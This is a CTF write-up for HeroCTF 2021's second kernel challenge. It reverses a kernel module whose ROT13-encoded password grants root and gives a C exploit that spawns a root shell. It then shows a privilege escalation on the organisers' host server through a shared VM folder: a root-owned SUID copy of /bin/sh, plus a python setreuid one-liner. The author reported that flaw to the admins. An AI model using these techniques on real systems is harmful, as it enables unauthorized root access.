HeroCTF 2021 - Rooting servers, for fun and CTF points

May 06, 2021   
linux privilege-escalation web writeup 
Also available in:  🇫🇷 


Category : Kernel

Points : 175

Message from : Mom 23/04/21 22:00

Hey sweetie !

I placed a little gift for you in the living room.
It's in a box that's locked though.
The key's in the safe, and this time I locked it with a password.
Love you ! xoxo

PS : Happax seems to be back to normal.

Connection via ssh -p 4822 kern2@ai.heroctf.fr, mot de passe kern2_tig

Format : Hero{}

Author : iHuggsy

Challenge informations

This Kernel exploit challenge (2nd in the series), uses a virtual machine based on QEMU. To access the challenge, you must connect via SSH to a server (which we will call hostserver in the rest of this writeup), on which we find the challenge files:

[hostserver]$ ls -lah
total 9,9M
drwxrwxr-x 2 kern2  kern2 4,0K mai    2 12:33 .
drwxrwxr-x 3 kern2  kern2 4,0K mai    2 12:37 ..
-rwxrwxr-x 1 kern2  kern2 9,2M mai    2 12:33 bzImage
-rwxrwxr-x 1 kern2  kern2 673K mai    2 12:33 initramfs
-rwsrwxrwx 1 root   root   16K mai    2 12:33 run
-rwxrwxr-x 1 kern2  kern2  667 mai    2 12:33 .run_vm
[hostserver]$

Once we are connected in SSH, we must launch the SUID ./run wrapper, to start and access the challenge VM. When we start it, we get a terminal in the VM:

$ ./run

Welcome to the kernel challenge #1 !
---- Your share : host:/tmp/tmp.3HqGwGi8y5 -> guest:/mnt/share ----
- Use CTRL+Z to put qemu in the background
- Use CTRL+* to exit the VM (shutdown)
- If qemu is in the background, use the 'fg' command to return to the vm


 **      **                           ******  ********** ********
/**     /**                          **////**/////**/// /**/////
/**     /**  *****  ******  ******  **    //     /**    /**      
/********** **///**//**//* **////**/**           /**    /*******
/**//////**/******* /** / /**   /**/**           /**    /**////  
/**     /**/**////  /**   /**   /**//**    **    /**    /**      
/**     /**//******/***   //******  //******     /**    /**      
//      //  ////// ///     //////    //////      //     //       

===============     Locked safe (by @iHuggsy)     ===============
=                      Kernel Challenge #2                      =
=             This time, you have to open the safe !            =
=================================================================

/ $ ls
bin          etc          mnt          root         sbin
dev          flag.txt     proc         safe_mod.ko  sys
/ $

We can recover the safe_mod.ko kernel module thanks to the shared folder between the VM and the host server.

Solving the challenge Kernel 2

First of all, a little bit of reverse on the safe_mod.ko kernel module is necessary to fully understand what it does. For that, I used IDA which decompiled the module without too much trouble, and I got this device_file_write function:

void device_file_write.cold(void) {
  char cVar1;
  char cVar2;
  long user_input;
  size_t maxlen;
  char * matched_index;
  char * unaff_R12;
  int index;
  long in_GS_OFFSET;

  index = 0;
  user_input = _copy_from_user();
  if (user_input == 0) {
    while (index < strlen(v2)) {
      v4 = (char * ) & user_input[index];
      v5 = *v4;
      if ( *v4 == 0xa || *v4 == 0x0) break;
      if ((unsigned __int8)(v5 - 65) > 0x19u) {
        v12 = v5;
        v13 = v5 + 13;
        v14 = v5 - 13;
        if (v12 + 13 <= 122)
          v14 = v13;
        *v4 = v14;
      } else {
        v6 = v5 + 13;
        v7 = v5 - 13;
        if (v6 <= 90)
          v7 = v6;
        *v4 = v7;
      }
      index += 1;
    }
    matched_index = strstr(user_input, "OpenSesame");
    if (matched_index != (char * ) 0x0) {
      if ( * (long * )( & current_task + in_GS_OFFSET) == 0) {
        printk( & DAT_00100348);
      } else {
        printk( & DAT_00100378, (ulong) * (uint * )( * (long * )( & current_task + in_GS_OFFSET) + 0x4e8));
        user_input = prepare_creds();
        if (user_input == 0) {
          printk( & DAT_001003a8);
        } else {
          *(undefined4 * )(user_input + 0x14) = 0;
          *(undefined4 * )(user_input + 4) = 0;
          *(undefined4 * )(user_input + 0x18) = 0;
          *(undefined4 * )(user_input + 8) = 0;
          commit_creds(user_input);
        }
      }
    }
    kfree();
  }
  return;
}

In this function is a very interesting block, which modifies the password entered by the user, before comparing it to the value OpenSesame:

while (index < strlen(v2)) {
  v4 = (char * ) & user_input[index];
  v5 = *v4;
  if ( *v4 == 0xa || *v4 == 0x0) break;
  if ((unsigned __int8)(v5 - 65) > 0x19u) {
    v12 = v5;
    v13 = v5 + 13;
    v14 = v5 - 13;
    if (v12 + 13 <= 122)
      v14 = v13;
    *v4 = v14;
  } else {
    v6 = v5 + 13;
    v7 = v5 - 13;
    if (v6 <= 90)
      v7 = v6;
    *v4 = v7;
  }
  index += 1;
}
matched_index = strstr(user_input, "OpenSesame");

Since we have pretty consistent decompiled code, it was pretty straightforward to reimplement this function in python:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

def transform(v2):
    v2 = list(v2)
    k = 0
    while k < len(v2):
        letter = v2[k]
        if letter == 0xa:
            break
        if (letter - 65) > 0x19:
            v13 = letter + 13
            v14 = letter - 13
            if (letter + 13) <= 122:
                v2[k] = v13
            else:
                v2[k] = v14
        else:
            v6 = letter + 13
            v7 = letter - 13
            if (letter + 13) <= 90:
                v2[k] = v6
            else:
                v2[k] = v7
        k += 1
    return bytes(v2)

if __name__ == '__main__':
    target = b"OpenSesame"
    inv_input = transform(target)
    if transform(inv_input) == target:
        print("[+] Function is involutive !")
        print("[+] input should be : %s" % inv_input.decode('UTF-8'))

Lucky for us! The function is involutive (i.e. f(f(x)) == x)! This means that we can simply calculate transform(b"OpenSesame") to get the expected input to the function.

[+] Function is involutive !
[+] input should be : BcraFrfnzr

We now know the string to send to the kernel module via /dev/safe to change the UID of our process to 0 (to change the process to root). We will therefore write a C program to open /dev/safe and send the password BcraFrfnzr to the char device /dev/safe:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

// gcc -static exploit.c -o exploit

int main(){
    char ch;
    FILE * fd;
    fd = fopen("/dev/safe","rw+");
    if(fd == NULL) {
        fprintf(stdout, "fopen('/dev/safe') failed: %s\n", strerror(errno));
    }
    fputs("BcraFrfnzr\n",fd);
    while((ch = fgetc(fd)) != EOF) printf("%c", ch);
    fclose(fd);
    printf("[+] Openning shell ...\n");
    system("/bin/sh");
}

We put this file in the /tmp/tmp.3HqGwGi8y5 folder on the server hosting the VM, and we compile it with gcc -static exploit.c -o exploit:

[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 84K
drwxrwxrwx   2 kern2  kern2  4,0K mai    6 21:49 .
drwxrwxrwt 173 root   root    76K mai    6 21:49 ..
[hostserver]:/tmp/tmp.3HqGwGi8y5$ nano exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$ gcc -static exploit.c -o exploit
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 952K
drwxrwxrwx   2 kern2  kern2  4,0K mai    6 21:50 .
drwxrwxrwt 173 root   root    76K mai    6 21:50 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 21:50 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 21:50 exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$

Then we go back to our VM, and we go to /mnt/share to access our shared directory:

 **      **                           ******  ********** ********
/**     /**                          **////**/////**/// /**/////
/**     /**  *****  ******  ******  **    //     /**    /**      
/********** **///**//**//* **////**/**           /**    /*******
/**//////**/******* /** / /**   /**/**           /**    /**////  
/**     /**/**////  /**   /**   /**//**    **    /**    /**      
/**     /**//******/***   //******  //******     /**    /**      
//      //  ////// ///     //////    //////      //     //       

===============     Locked safe (by @iHuggsy)     ===============
=                      Kernel Challenge #2                      =
=             This time, you have to open the safe !            =
=================================================================

/ $ cd /mnt/share
/mnt/share $ ls -lha
total 872K   
drwxrwxrwx    2 user     1000        4.0K May  6 19:50 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 1002     1002      861.4K May  6 19:50 exploit
-rw-rw-r--    1 1002     1002         463 May  6 19:50 exploit.c
/mnt/share $

We launch the exploit and we become root :

/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ./exploit
The safe is locked. Enter the password first.
[+] Openning shell ...
/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # cat /flag.txt
Hero{y0u_c4n_4ls0_Wr1t3_?!!}
/mnt/share #

And we can validate the challenge with the flag Hero{y0u_c4n_4ls0_Wr1t3_?!!}! But ... is that all we can do?

Privilege escalation on the host server

When I finished this kernel challenge (and became root in the challenge's VM), I was about to move on to another challenge when I noticed something very interesting inside the challenge VM:

/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ls -lha
total 872K   
drwxrwxrwx    2 user     1000        4.0K May  6 19:50 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 1002     1002      861.4K May  6 19:50 exploit
-rw-rw-r--    1 1002     1002         463 May  6 19:50 exploit.c
/mnt/share $

Do you see it too? Take a look at which user the exploit files belong to. The user 1002, but there is no user with this id in the VM, so what's going on?

![](tmp.3HqGwGi8y5on the host server), they will be changed in both. For example, from the/tmp/tmp.3HqGwGi8y5folder on the host server, we will copy the/bin/shbinary to put it in the share. It therefore belongs to our current user on the host server, the userkern2`.

[hostserver]:/tmp/tmp.3HqGwGi8y5$ cp /bin/sh .
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 1,1M
drwxrwxrwx   2 root   root   4,0K mai    6 22:09 .
drwxrwxrwt 173 root   root    76K mai    6 22:09 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 22:09 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 22:09 exploit.c
-rwxr-xr-x   1 kern2  kern2  127K mai    6 22:09 sh
[hostserver]:/tmp/tmp.3HqGwGi8y5$

In the /mnt/share folder on the challenge VM, we will change the owner of the sh file we just created to give it to root (id = 0), and we will also place all the SUID bits at 1:

/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # ls -lha
total 1000K  
drwxrwxrwx    2 0        0           4.0K May  6 20:09 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 user     1000      861.4K May  6 20:09 exploit
-rw-rw-r--    1 user     1000         463 May  6 20:09 exploit.c
-rwxr-xr-x    1 user     1000      126.8K May  6 20:09 sh
/mnt/share # chown 0:0 ./sh && chmod 7777 ./sh
/mnt/share # ls -lha
total 1000K  
drwxrwxrwx    2 0        0           4.0K May  6 20:09 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 user     1000      861.4K May  6 20:09 exploit
-rw-rw-r--    1 user     1000         463 May  6 20:09 exploit.c
-rwsrwsrwt    1 0        0         126.8K May  6 20:09 sh
/mnt/share #

Now that everything is ready, we go back to our shared folder /tmp/tmp.3HqGwGi8y5 on the host server, and we launch our SUID shell:

[hostserver]:/tmp/tmp.uq8fcKEQPW$ ls -lha
total 1,1M
drwxrwxrwx   2 root   root   4,0K mai    6 22:09 .
drwxrwxrwt 173 root   root    76K mai    6 22:09 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 22:09 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 22:09 exploit.c
-rwsrwsrwt   1 root   root   127K mai    6 22:09 sh
[hostserver]:/tmp/tmp.uq8fcKEQPW$ ./sh -p
$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$

The rights are well passed, as we can see I have a shell with euid=0(root) egid=0(root). To perform more advanced actions without being limited, it is interesting to have a real shell with uid=0(root). To do this, we can use python to switch from a euid to auid, thanks to this payload:

python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'

I ran this payload, and then got a real root shell:

$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$ python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'
# id
uid=0(root) gid=0(root) groups=0(root)

I am now root on the HeroCTF kernel challenges host server!

Final POC

And this time, I'm the one who set the flag \o/, as a bonus I got 50 bonus points for reporting this vulnerability to admins:

Award